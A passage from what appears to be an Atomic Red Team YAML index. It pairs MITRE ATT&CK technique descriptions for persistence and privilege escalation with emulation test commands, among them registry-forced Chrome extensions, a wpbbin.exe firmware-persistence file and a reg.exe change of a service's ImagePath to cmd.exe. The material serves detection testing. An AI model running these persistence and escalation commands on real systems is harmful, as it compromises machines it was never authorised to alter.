        url: https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1133:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: External Remote Services
      description: |-
        Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) and [VNC](https://attack.mitre.org/techniques/T1021/005) can also be used externally.(Citation: MacOS VNC software for Remote Desktop)

        Access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation.

        Access may also be gained through an exposed service that doesn’t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation: Unit 42 Hildegard Malware)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_contributors:
      - ExtraHop
      - David Fiser, @anu4is, Trend Micro
      - Alfredo Oliveira, Trend Micro
      - Idan Frimark, Cisco
      - Rory McCune, Aqua Security
      - Yuval Avrahami, Palo Alto Networks
      - Jay Chen, Palo Alto Networks
      - Brad Geesaman, @bradgeesaman
      - Magno Logan, @magnologan, Trend Micro
      - Ariel Shuper, Cisco
      - Yossi Weizman, Azure Defender Research Team
      - Vishwas Manral, McAfee
      - Daniel Oakley
      - Travis Smith, Tripwire
      - David Tayouri
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Follow best practices for detecting adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078) for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours.

        When authentication is not required to access an exposed remote service, monitor for follow-on activities such as anomalous external use of the exposed API or application.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - Windows
      - Linux
      - Containers
      - macOS
      x_mitre_version: '2.4'
      x_mitre_data_sources:
      - 'Network Traffic: Network Connection Creation'
      - 'Network Traffic: Network Traffic Flow'
      - 'Logon Session: Logon Session Metadata'
      - 'Application Log: Application Log Content'
      - 'Network Traffic: Network Traffic Content'
      type: attack-pattern
      id: attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d
      created: '2017-05-31T21:31:44.421Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1133
        external_id: T1133
      - source_name: Volexity Virtual Private Keylogging
        description: 'Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco
          Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.'
        url: https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/
      - source_name: MacOS VNC software for Remote Desktop
        description: Apple Support. (n.d.). Set up a computer running VNC software
          for Remote Desktop. Retrieved August 18, 2021.
        url: https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac
      - source_name: Unit 42 Hildegard Malware
        description: 'Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking
          Malware Targeting Kubernetes. Retrieved April 5, 2021.'
        url: https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/
      - source_name: Trend Micro Exposed Docker Server
        description: Remillano II, A., et al. (2020, June 20). XORDDoS, Kaiji Variants
          Target Exposed Docker Servers. Retrieved April 5, 2021.
        url: https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      spec_version: '2.1'
      identifier: T1133
    atomic_tests:
    - name: Running Chrome VPN Extensions via the Registry 2 vpn extension
      auto_generated_guid: 4c8db261-a58b-42a6-a866-0a294deedde4
      description: 'Running Chrome VPN Extensions via the Registry install 2 vpn extension,
        please see "T1133\src\list of vpn extension.txt" to view complete list

        '
      supported_platforms:
      - windows
      input_arguments:
        chrome_url:
          description: chrome installer download URL
          type: url
          default: https://dl.google.com/tag/s/appguid%3D%7B8A69D345-D564-463C-AFF1-A69D9E530F96%7D%26iid%3D%7BFD62DDBC-14C6-20BD-706F-C7744738E422%7D%26lang%3Den%26browser%3D3%26usagestats%3D0%26appname%3DGoogle%2520Chrome%26needsadmin%3Dprefers%26ap%3Dx64-stable-statsdef_1%26installdataindex%3Dempty/chrome/install/ChromeStandaloneSetup64.exe
        extension_id:
          description: chrome extension id
          type: string
          default: '"fcfhplploccackoneaefokcmbjfbkenj", "fdcgdnkidjaadafnichfpabhfomcebme"

            '
      dependency_executor_name: powershell
      dependencies:
      - description: 'Chrome must be installed

          '
        prereq_command: if ((Test-Path "C:\Program Files\Google\Chrome\Application\chrome.exe")
          -Or (Test-Path "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"))
          {exit 0} else {exit 1}
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest -OutFile "PathToAtomicsFolder\..\ExternalPayloads\ChromeStandaloneSetup64.exe" #{chrome_url}
          Start-Process "PathToAtomicsFolder\..\ExternalPayloads\ChromeStandaloneSetup64.exe" /S
      executor:
        name: powershell
        elevation_required: true
        command: |
          $extList = #{extension_id}
          foreach ($extension in $extList) {
            New-Item -Path HKLM:\Software\Wow6432Node\Google\Chrome\Extensions\$extension -Force
            New-ItemProperty -Path "HKLM:\Software\Wow6432Node\Google\Chrome\Extensions\$extension" -Name "update_url" -Value "https://clients2.google.com/service/update2/crx" -PropertyType "String" -Force}
          Start chrome
          Start-Sleep -Seconds 30
          Stop-Process -Name "chrome"
        cleanup_command: |
          $extList = #{extension_id}
          foreach ($extension in $extList) {
          Remove-Item -Path "HKLM:\Software\Wow6432Node\Google\Chrome\Extensions\$extension" -ErrorAction Ignore}
  T1546.006:
    technique:
      x_mitre_platforms:
      - macOS
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--10ff21b9-5a01-4268-a1b5-3b55015f1847
      created: '2020-01-24T14:21:52.750Z'
      x_mitre_version: '1.0'
      external_references:
      - source_name: mitre-attack
        external_id: T1546.006
        url: https://attack.mitre.org/techniques/T1546/006
      - source_name: Malware Persistence on OS X
        url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
        description: Patrick Wardle. (2015). Malware Persistence on OS X Yosemite.
          Retrieved July 10, 2017.
      - source_name: Writing Bad Malware for OSX
        url: https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf
        description: Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved
          July 10, 2017.
      x_mitre_deprecated: false
      revoked: false
      description: |-
        Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies.(Citation: Writing Bad Malware for OSX) There are tools available to perform these changes.

        Adversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time.(Citation: Malware Persistence on OS X)
      modified: '2022-05-11T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: LC_LOAD_DYLIB Addition
      x_mitre_detection: Monitor processes for those that may be used to modify binary
        headers. Monitor file systems for changes to application binaries and invalid
        checksums/signatures. Changes to binaries that do not line up with application
        updates or patches are also extremely suspicious.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_is_subtechnique: true
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'File: File Metadata'
      - 'Process: Process Creation'
      - 'File: File Modification'
      - 'Module: Module Load'
      x_mitre_permissions_required:
      - User
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1053.007:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: Kubernetes Cronjob
      description: |-
        Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster.

        In Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.(Citation: Threat Matrix for Kubernetes)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_contributors:
      - Center for Threat-Informed Defense (CTID)
      - Vishwas Manral, McAfee
      - Yossi Weizman, Azure Defender Research Team
      x_mitre_deprecated: false
      x_mitre_detection: 'Monitor for the anomalous creation of scheduled jobs in
        container orchestration environments. Use logging agents on Kubernetes nodes
        and retrieve logs from sidecar proxies for application and resource pods to
        monitor malicious container orchestration job deployments. '
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Containers
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'Container: Container Creation'
      - 'Scheduled Job: Scheduled Job Creation'
      x_mitre_permissions_required:
      - User
      x_mitre_remote_support: true
      type: attack-pattern
      id: attack-pattern--1126cab1-c700-412f-a510-61f4937bb096
      created: '2021-03-29T17:06:22.247Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1053/007
        external_id: T1053.007
      - source_name: Kubernetes CronJob
        description: The Kubernetes Authors. (n.d.). Kubernetes CronJob. Retrieved
          March 29, 2021.
        url: https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/
      - source_name: Kubernetes Jobs
        description: The Kubernetes Authors. (n.d.). Kubernetes Jobs. Retrieved March
          30, 2021.
        url: https://kubernetes.io/docs/concepts/workloads/controllers/job/
      - source_name: Threat Matrix for Kubernetes
        description: Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved
          March 30, 2021.
        url: https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1053.007
    atomic_tests:
    - name: ListCronjobs
      auto_generated_guid: ddfb0bc1-3c3f-47e9-a298-550ecfefacbd
      description: 'Kubernetes Job is a controller that creates one or more pods and
        ensures that a specified number of them successfully terminate. Kubernetes
        Job can be used to run containers that perform finite tasks for batch jobs.
        Kubernetes CronJob is used to schedule Jobs. Attackers may use Kubernetes
        CronJob for scheduling execution of malicious code that would run as a container
        in the cluster.

        '
      supported_platforms:
      - containers
      input_arguments:
        namespace:
          description: K8s namespace to list
          type: string
          default: default
      dependencies:
      - description: 'kubectl must be installed

          '
        get_prereq_command: 'echo "kubectl must be installed manually"

          '
        prereq_command: 'which kubectl

          '
      executor:
        command: 'kubectl get cronjobs -n #{namespace}

          '
        name: bash
        elevation_required: false
    - name: CreateCronjob
      auto_generated_guid: f2fa019e-fb2a-4d28-9dc6-fd1a9b7f68c3
      description: 'Kubernetes Job is a controller that creates one or more pods and
        ensures that a specified number of them successfully terminate. Kubernetes
        Job can be used to run containers that perform finite tasks for batch jobs.
        Kubernetes CronJob is used to schedule Jobs. Attackers may use Kubernetes
        CronJob for scheduling execution of malicious code that would run as a container
        in the cluster.

        '
      supported_platforms:
      - containers
      input_arguments:
        namespace:
          description: K8s namespace to list
          type: string
          default: default
      dependencies:
      - description: 'kubectl must be installed

          '
        get_prereq_command: 'echo "kubectl must be installed manually"

          '
        prereq_command: 'which kubectl

          '
      executor:
        command: 'kubectl create -f src/cronjob.yaml -n #{namespace}

          '
        cleanup_command: 'kubectl delete cronjob art -n #{namespace}

          '
        name: bash
        elevation_required: false
  T1542.001:
    technique:
      modified: '2024-04-16T12:21:51.311Z'
      name: 'Pre-OS Boot: System Firmware'
      description: |-
        Adversaries may modify system firmware to persist on systems.The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer.(Citation: Wikipedia BIOS)(Citation: Wikipedia UEFI)(Citation: About UEFI)

        System firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Jean-Ian Boutin, ESET
      - McAfee
      - Ryan Becwar
      x_mitre_deprecated: false
      x_mitre_detection: |-
        System firmware manipulation may be detected. (Citation: MITRE Trustworthy Firmware Measurement) Dump and inspect BIOS images on vulnerable systems and compare against known good images. (Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior.

        Likewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed. (Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit)
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      - Network
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Firmware: Firmware Modification'
      x_mitre_defense_bypassed:
      - Host intrusion prevention systems
      - Anti-virus
      - File monitoring
      type: attack-pattern
      id: attack-pattern--16ab6452-c3c1-497c-a47d-206018ca1ada
      created: '2019-12-19T19:43:34.507Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1542/001
        external_id: T1542.001
      - source_name: McAfee CHIPSEC Blog
        description: Beek, C., Samani, R. (2017, March 8). CHIPSEC Support Against
          Vault 7 Disclosure Scanning. Retrieved March 13, 2017.
        url: https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/
      - source_name: MITRE Copernicus
        description: 'Butterworth, J. (2013, July 30). Copernicus: Question Your Assumptions
          about BIOS Security. Retrieved December 11, 2015.'
        url: http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about
      - source_name: Intel HackingTeam UEFI Rootkit
        description: Intel Security. (2005, July 16). HackingTeam's UEFI Rootkit Details.
          Retrieved March 20, 2017.
        url: http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html
      - source_name: Github CHIPSEC
        description: Intel. (2017, March 18). CHIPSEC Platform Security Assessment
          Framework. Retrieved March 20, 2017.
        url: https://github.com/chipsec/chipsec
      - source_name: About UEFI
        description: UEFI Forum. (n.d.). About UEFI Forum. Retrieved January 5, 2016.
        url: http://www.uefi.org/about
      - source_name: MITRE Trustworthy Firmware Measurement
        description: Upham, K. (2014, March). Going Deep into the BIOS with MITRE
          Firmware Security Research. Retrieved January 5, 2016.
        url: http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research
      - source_name: Wikipedia UEFI
        description: Wikipedia. (2017, July 10). Unified Extensible Firmware Interface.
          Retrieved July 11, 2017.
        url: https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface
      - source_name: Wikipedia BIOS
        description: Wikipedia. (n.d.). BIOS. Retrieved January 5, 2016.
        url: https://en.wikipedia.org/wiki/BIOS
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1542.001
    atomic_tests:
    - name: UEFI Persistence via Wpbbin.exe File Creation
      auto_generated_guid: b8a49f03-e3c4-40f2-b7bb-9e8f8fdddbf1
      description: |
        Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms.
        - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c
        - http://download.microsoft.com/download/8/a/2/8a2fb72d-9b96-4e2d-a559-4a27cf905a80/windows-platform-binary-table.docx
        - https://github.com/tandasat/WPBT-Builder
      supported_platforms:
      - windows
      executor:
        name: powershell
        command: "echo \"Creating %systemroot%\\wpbbin.exe\"      \nNew-Item -ItemType
          File -Path \"$env:SystemRoot\\System32\\wpbbin.exe\"\n"
        cleanup_command: "echo \"Removing %systemroot%\\wpbbin.exe\" \nRemove-Item
          -Path \"$env:SystemRoot\\System32\\wpbbin.exe\"\n"
        elevation_required: true
  T1574.011:
    technique:
      modified: '2023-10-31T14:00:00.188Z'
      name: 'Hijack Execution Flow: Services Registry Permissions Weakness'
      description: |-
        Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under <code>HKLM\SYSTEM\CurrentControlSet\Services</code>. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe,  [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)

        If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).

        Adversaries may also alter other Registry keys in the service’s Registry tree. For example, the <code>FailureCommand</code> key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)

        The <code>Performance</code> key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the <code>Performance</code> key is not already present and if an adversary-controlled user has the <code>Create Subkey</code> permission, adversaries may create the <code>Performance</code> key in the service’s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)

        Adversaries may also add the <code>Parameters</code> key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost) Additionally, If adversaries launch their malicious services using svchost.exe, the service’s file may be identified using <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\servicename\Parameters\ServiceDll</code>.(Citation: malware_hides_service)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_contributors:
      - Travis Smith, Tripwire
      - Matthew Demaske, Adaptforward
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.

        Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.

        Monitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Service: Service Modification'
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      x_mitre_defense_bypassed:
      - Application Control
      x_mitre_effective_permissions:
      - SYSTEM
      x_mitre_permissions_required:
      - Administrator
      - User
      type: attack-pattern
      id: attack-pattern--17cc750b-e95b-4d7d-9dde-49e0de24148c
      created: '2020-03-13T11:42:14.444Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1574/011
        external_id: T1574.011
      - source_name: Tweet Registry Perms Weakness
        description: "@r0wdy_. (2017, November 30). Service Recovery Parameters. Retrieved
          April 9, 2018."
        url: https://twitter.com/r0wdy_/status/936365549553991680
      - source_name: insecure_reg_perms
        description: Clément Labro. (2020, November 12). Windows RpcEptMapper Service
          Insecure Registry Permissions EoP. Retrieved August 25, 2021.
        url: https://itm4n.github.io/windows-registry-rpceptmapper-eop/
      - source_name: Kansa Service related collectors
        description: 'Hull, D.. (2014, May 3). Kansa: Service related collectors and
          analysis. Retrieved October 10, 2019.'
        url: https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html
      - source_name: malware_hides_service
        description: Lawrence Abrams. (2004, September 10). How Malware hides and
          is installed as a Service. Retrieved August 30, 2021.
        url: https://www.bleepingcomputer.com/tutorials/how-malware-hides-as-a-service/
      - source_name: Autoruns for Windows
        description: Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96.
          Retrieved March 13, 2020.
        url: https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns
      - source_name: Registry Key Security
        description: Microsoft. (2018, May 31). Registry Key Security and Access Rights.
          Retrieved March 16, 2017.
        url: https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-key-security-and-access-rights?redirectedfrom=MSDN
      - source_name: microsoft_services_registry_tree
        description: Microsoft. (2021, August 5). HKLM\SYSTEM\CurrentControlSet\Services
          Registry Tree. Retrieved August 25, 2021.
        url: https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree
      - source_name: troj_zegost
        description: Trend Micro. (2012, October 9). TROJ_ZEGOST. Retrieved September
          2, 2021.
        url: https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_zegost
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      spec_version: '2.1'
      identifier: T1574.011
    atomic_tests:
    - name: Service Registry Permissions Weakness
      auto_generated_guid: f7536d63-7fd4-466f-89da-7e48d550752a
      description: |
        Service registry permissions weakness check and then which can lead to privilege escalation with ImagePath. eg.
        reg add "HKLM\SYSTEM\CurrentControlSet\Services\#{weak_service_name}" /f /v ImagePath /d "C:\temp\AtomicRedteam.exe"
      supported_platforms:
      - windows
      input_arguments:
        weak_service_name:
          description: weak service check
          type: string
          default: weakservicename
      executor:
        command: |
          get-acl REGISTRY::HKLM\SYSTEM\CurrentControlSet\Services\* |FL
          get-acl REGISTRY::HKLM\SYSTEM\CurrentControlSet\Services\#{weak_service_name} |FL
        name: powershell
    - name: Service ImagePath Change with reg.exe
      auto_generated_guid: f38e9eea-e1d7-4ba6-b716-584791963827
      description: 'Change Service registry ImagePath of a bengin service to a malicious
        file

        '
      supported_platforms:
      - windows
      input_arguments:
        weak_service_name:
          description: weak service name
          type: string
          default: calcservice
        weak_service_path:
          description: weak service path
          type: string
          default: "%windir%\\system32\\win32calc.exe"
        malicious_service_path:
          description: malicious service path
          type: string
          default: "%windir%\\system32\\cmd.exe"
      dependency_executor_name: powershell
      dependencies:
      - description: 'The service must exist (#{weak_service_name})

          '
        prereq_command: 'if (Get-Service #{weak_service_name}) {exit 0} else {exit
          1}

          '
        get_prereq_command: 'sc.exe create #{weak_service_name} binpath= "#{weak_service_path}"

          '
      executor:
        command: 'reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\#{weak_service_name}"
          /f /v ImagePath /d "#{malicious_service_path}"

          '
        cleanup_command: 'sc.exe delete #{weak_service_name}

          '
        name: command_prompt
  T1542.003:
    technique:
      modified: '2023-03-30T21:01:47.417Z'
      name: Bootkit
      description: |-
        Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.

        A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: Mandiant M Trends 2016) The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)

        The MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_detection: Perform integrity checking on MBR and VBR. Take snapshots
        of MBR and VBR and compare against known good samples. Report changes to MBR
        and VBR as they occur for indicators of suspicious activity and further analysis.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - Linux
      - Windows
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Drive: Drive Modification'
      x_mitre_defense_bypassed:
      - Host intrusion prevention systems
      - Anti-virus
      - File monitoring
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      type: attack-pattern
      id: attack-pattern--1b7b1806-7746-41a1-a35d-e48dae25ddba
      created: '2019-12-19T21:05:38.123Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1542/003
        external_id: T1542.003
      - source_name: Mandiant M Trends 2016
        description: Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved
          March 5, 2019.
        url: https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf
      - source_name: Lau 2011
        description: Lau, H. (2011, August 8). Are MBR Infections Back in Fashion?
          (Infographic). Retrieved November 13, 2014.
        url: http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      spec_version: '2.1'
    atomic_tests: []
  T1547:
    technique:
      modified: '2024-04-16T12:26:07.945Z'
      name: Boot or Logon Autostart Execution
      description: |-
        Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming) These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. An adversary may achieve the same goal by modifying or extending features of the kernel.

        Since some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_deprecated: false
      x_mitre_detection: "Monitor for additions or modifications of mechanisms that
        could be used to trigger autostart execution, such as relevant additions to
        the Registry. Look for changes that are not correlated with known updates,
        patches, or other planned administrative activity. Tools such as Sysinternals
        Autoruns may also be used to detect system autostart configuration changes
        that could be attempts at persistence.(Citation: TechNet Autoruns)  Changes
        to some autostart configuration settings may happen under normal conditions
        when legitimate software is installed. \n\nSuspicious program execution as
        autostart programs may show up as outlier processes that have not been seen
